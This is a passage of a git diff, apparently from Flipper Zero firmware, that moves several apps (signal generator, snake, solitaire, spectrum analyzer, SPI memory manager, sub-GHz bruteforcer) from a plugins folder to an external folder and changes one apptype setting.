a/applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png b/applications/external/signal_generator/icons/SmallArrowUp_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png rename to applications/external/signal_generator/icons/SmallArrowUp_3x5.png diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.c b/applications/external/signal_generator/scenes/signal_gen_scene.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.c rename to applications/external/signal_generator/scenes/signal_gen_scene.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.h b/applications/external/signal_generator/scenes/signal_gen_scene.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.h rename to applications/external/signal_generator/scenes/signal_gen_scene.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_config.h b/applications/external/signal_generator/scenes/signal_gen_scene_config.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_config.h rename to applications/external/signal_generator/scenes/signal_gen_scene_config.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c b/applications/external/signal_generator/scenes/signal_gen_scene_mco.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c rename to applications/external/signal_generator/scenes/signal_gen_scene_mco.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c b/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c rename to applications/external/signal_generator/scenes/signal_gen_scene_pwm.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_start.c b/applications/external/signal_generator/scenes/signal_gen_scene_start.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_start.c rename to applications/external/signal_generator/scenes/signal_gen_scene_start.c diff --git a/applications/plugins/signal_generator/signal_gen_10px.png b/applications/external/signal_generator/signal_gen_10px.png similarity index 100% rename from applications/plugins/signal_generator/signal_gen_10px.png rename to applications/external/signal_generator/signal_gen_10px.png diff --git a/applications/plugins/signal_generator/signal_gen_app.c b/applications/external/signal_generator/signal_gen_app.c similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app.c rename to applications/external/signal_generator/signal_gen_app.c diff --git a/applications/plugins/signal_generator/signal_gen_app_i.h b/applications/external/signal_generator/signal_gen_app_i.h similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app_i.h rename to applications/external/signal_generator/signal_gen_app_i.h diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.c b/applications/external/signal_generator/views/signal_gen_pwm.c similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.c rename to applications/external/signal_generator/views/signal_gen_pwm.c diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.h b/applications/external/signal_generator/views/signal_gen_pwm.h similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.h rename to applications/external/signal_generator/views/signal_gen_pwm.h diff --git a/applications/plugins/snake_game/application.fam b/applications/external/snake_game/application.fam similarity index 86% rename from applications/plugins/snake_game/application.fam rename to applications/external/snake_game/application.fam index 4e88e1941..573f5c0b3 100644 --- a/applications/plugins/snake_game/application.fam +++ b/applications/external/snake_game/application.fam @@ -1,7 +1,7 @@ App( appid="Snake", name="Snake Game", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="snake_game_app", cdefines=["APP_SNAKE_GAME"], requires=["gui"], diff --git a/applications/plugins/snake_game/snake_10px.png b/applications/external/snake_game/snake_10px.png similarity index 100% rename from applications/plugins/snake_game/snake_10px.png rename to applications/external/snake_game/snake_10px.png diff --git a/applications/plugins/snake_game/snake_game.c b/applications/external/snake_game/snake_game.c similarity index 100% rename from applications/plugins/snake_game/snake_game.c rename to applications/external/snake_game/snake_game.c diff --git a/applications/plugins/solitaire/application.fam b/applications/external/solitaire/application.fam similarity index 100% rename from applications/plugins/solitaire/application.fam rename to applications/external/solitaire/application.fam diff --git a/applications/plugins/solitaire/assets/card_graphics.png b/applications/external/solitaire/assets/card_graphics.png similarity index 100% rename from applications/plugins/solitaire/assets/card_graphics.png rename to applications/external/solitaire/assets/card_graphics.png diff --git a/applications/plugins/solitaire/assets/solitaire_main.png b/applications/external/solitaire/assets/solitaire_main.png similarity index 100% rename from applications/plugins/solitaire/assets/solitaire_main.png rename to applications/external/solitaire/assets/solitaire_main.png diff --git a/applications/plugins/solitaire/common/card.c b/applications/external/solitaire/common/card.c similarity index 100% rename from applications/plugins/solitaire/common/card.c rename to applications/external/solitaire/common/card.c diff --git a/applications/plugins/solitaire/common/card.h b/applications/external/solitaire/common/card.h similarity index 100% rename from applications/plugins/solitaire/common/card.h rename to applications/external/solitaire/common/card.h diff --git a/applications/plugins/solitaire/common/dml.c b/applications/external/solitaire/common/dml.c similarity index 100% rename from applications/plugins/solitaire/common/dml.c rename to applications/external/solitaire/common/dml.c diff --git a/applications/plugins/solitaire/common/dml.h b/applications/external/solitaire/common/dml.h similarity index 100% rename from applications/plugins/solitaire/common/dml.h rename to applications/external/solitaire/common/dml.h diff --git a/applications/plugins/solitaire/common/menu.c b/applications/external/solitaire/common/menu.c similarity index 100% rename from applications/plugins/solitaire/common/menu.c rename to applications/external/solitaire/common/menu.c diff --git a/applications/plugins/solitaire/common/menu.h b/applications/external/solitaire/common/menu.h similarity index 100% rename from applications/plugins/solitaire/common/menu.h rename to applications/external/solitaire/common/menu.h diff --git a/applications/plugins/solitaire/common/queue.c b/applications/external/solitaire/common/queue.c similarity index 100% rename from applications/plugins/solitaire/common/queue.c rename to applications/external/solitaire/common/queue.c diff --git a/applications/plugins/solitaire/common/queue.h b/applications/external/solitaire/common/queue.h similarity index 100% rename from applications/plugins/solitaire/common/queue.h rename to applications/external/solitaire/common/queue.h diff --git a/applications/plugins/solitaire/common/ui.c b/applications/external/solitaire/common/ui.c similarity index 100% rename from applications/plugins/solitaire/common/ui.c rename to applications/external/solitaire/common/ui.c diff --git a/applications/plugins/solitaire/common/ui.h b/applications/external/solitaire/common/ui.h similarity index 100% rename from applications/plugins/solitaire/common/ui.h rename to applications/external/solitaire/common/ui.h diff --git a/applications/plugins/solitaire/defines.h b/applications/external/solitaire/defines.h similarity index 100% rename from applications/plugins/solitaire/defines.h rename to applications/external/solitaire/defines.h diff --git a/applications/plugins/solitaire/solitaire.c b/applications/external/solitaire/solitaire.c similarity index 100% rename from applications/plugins/solitaire/solitaire.c rename to applications/external/solitaire/solitaire.c diff --git a/applications/plugins/solitaire/solitaire_10px.png b/applications/external/solitaire/solitaire_10px.png similarity index 100% rename from applications/plugins/solitaire/solitaire_10px.png rename to applications/external/solitaire/solitaire_10px.png diff --git a/applications/plugins/spectrum_analyzer/application.fam b/applications/external/spectrum_analyzer/application.fam similarity index 100% rename from applications/plugins/spectrum_analyzer/application.fam rename to applications/external/spectrum_analyzer/application.fam diff --git a/applications/plugins/spectrum_analyzer/spectrum_10px.png b/applications/external/spectrum_analyzer/spectrum_10px.png similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_10px.png rename to applications/external/spectrum_analyzer/spectrum_10px.png diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.c rename to applications/external/spectrum_analyzer/spectrum_analyzer.c diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.h b/applications/external/spectrum_analyzer/spectrum_analyzer.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.h rename to applications/external/spectrum_analyzer/spectrum_analyzer.h diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.c diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.h diff --git a/applications/plugins/spi_mem_manager/application.fam b/applications/external/spi_mem_manager/application.fam similarity index 100% rename from applications/plugins/spi_mem_manager/application.fam rename to applications/external/spi_mem_manager/application.fam diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate diff --git a/applications/plugins/spi_mem_manager/images/Dip8_10px.png b/applications/external/spi_mem_manager/images/Dip8_10px.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_10px.png rename to applications/external/spi_mem_manager/images/Dip8_10px.png diff --git a/applications/plugins/spi_mem_manager/images/Dip8_32x36.png b/applications/external/spi_mem_manager/images/Dip8_32x36.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_32x36.png rename to applications/external/spi_mem_manager/images/Dip8_32x36.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png b/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png rename to applications/external/spi_mem_manager/images/DolphinMafia_115x62.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png b/applications/external/spi_mem_manager/images/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png rename to applications/external/spi_mem_manager/images/DolphinNice_96x59.png diff --git a/applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png b/applications/external/spi_mem_manager/images/SDQuestion_35x43.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png rename to applications/external/spi_mem_manager/images/SDQuestion_35x43.png diff --git a/applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png b/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png rename to applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.c b/applications/external/spi_mem_manager/spi_mem_app.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.c rename to applications/external/spi_mem_manager/spi_mem_app.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.h b/applications/external/spi_mem_manager/spi_mem_app.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.h rename to applications/external/spi_mem_manager/spi_mem_app.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_app_i.h b/applications/external/spi_mem_manager/spi_mem_app_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app_i.h rename to applications/external/spi_mem_manager/spi_mem_app_i.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.c b/applications/external/spi_mem_manager/spi_mem_files.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.c rename to applications/external/spi_mem_manager/spi_mem_files.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.h b/applications/external/spi_mem_manager/spi_mem_files.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.h rename to applications/external/spi_mem_manager/spi_mem_files.h diff --git a/applications/plugins/spi_mem_manager/tools/README.md b/applications/external/spi_mem_manager/tools/README.md similarity index 100% rename from applications/plugins/spi_mem_manager/tools/README.md rename to applications/external/spi_mem_manager/tools/README.md diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/LICENSE b/applications/external/spi_mem_manager/tools/chiplist/LICENSE similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/LICENSE rename to applications/external/spi_mem_manager/tools/chiplist/LICENSE diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml b/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml rename to applications/external/spi_mem_manager/tools/chiplist/chiplist.xml diff --git a/applications/plugins/spi_mem_manager/tools/chiplist_convert.py b/applications/external/spi_mem_manager/tools/chiplist_convert.py similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist_convert.py rename to applications/external/spi_mem_manager/tools/chiplist_convert.py diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c b/applications/external/spi_mem_manager/views/spi_mem_view_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h b/applications/external/spi_mem_manager/views/spi_mem_view_detect.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.h diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c b/applications/external/spi_mem_manager/views/spi_mem_view_progress.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h b/applications/external/spi_mem_manager/views/spi_mem_view_progress.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.h diff --git a/applications/plugins/subghz_bruteforcer/LICENSE b/applications/external/subghz_bruteforcer/LICENSE similarity index 100% rename from applications/plugins/subghz_bruteforcer/LICENSE rename to applications/external/subghz_bruteforcer/LICENSE diff --git a/applications/plugins/subghz_bruteforcer/application.fam b/applications/external/subghz_bruteforcer/application.fam similarity index 100% rename from applications/plugins/subghz_bruteforcer/application.fam rename to applications/external/subghz_bruteforcer/application.fam diff --git a/applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.c b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.c rename to applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c diff --git a/applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.h b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.h rename to applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h diff --git a/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.c b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.c rename to applications/external/subghz_bruteforcer/helpers/subbrute_worker.c diff --git a/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.h rename to applications/external/subghz_bruteforcer/helpers/subbrute_worker.h diff --git a/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker_private.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/helpers/subbrute_worker_private.h rename to applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h diff --git a/applications/plugins/subghz_bruteforcer/images/ButtonDown_7x4.png b/applications/external/subghz_bruteforcer/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/ButtonDown_7x4.png rename to applications/external/subghz_bruteforcer/images/ButtonDown_7x4.png diff --git a/applications/plugins/subghz_bruteforcer/images/ButtonUp_7x4.png b/applications/external/subghz_bruteforcer/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/ButtonUp_7x4.png rename to applications/external/subghz_bruteforcer/images/ButtonUp_7x4.png diff --git a/applications/plugins/subghz_bruteforcer/images/DolphinNice_96x59.png b/applications/external/subghz_bruteforcer/images/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/DolphinNice_96x59.png rename to applications/external/subghz_bruteforcer/images/DolphinNice_96x59.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png diff --git a/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_rate b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_rate similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_rate rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_rate diff --git 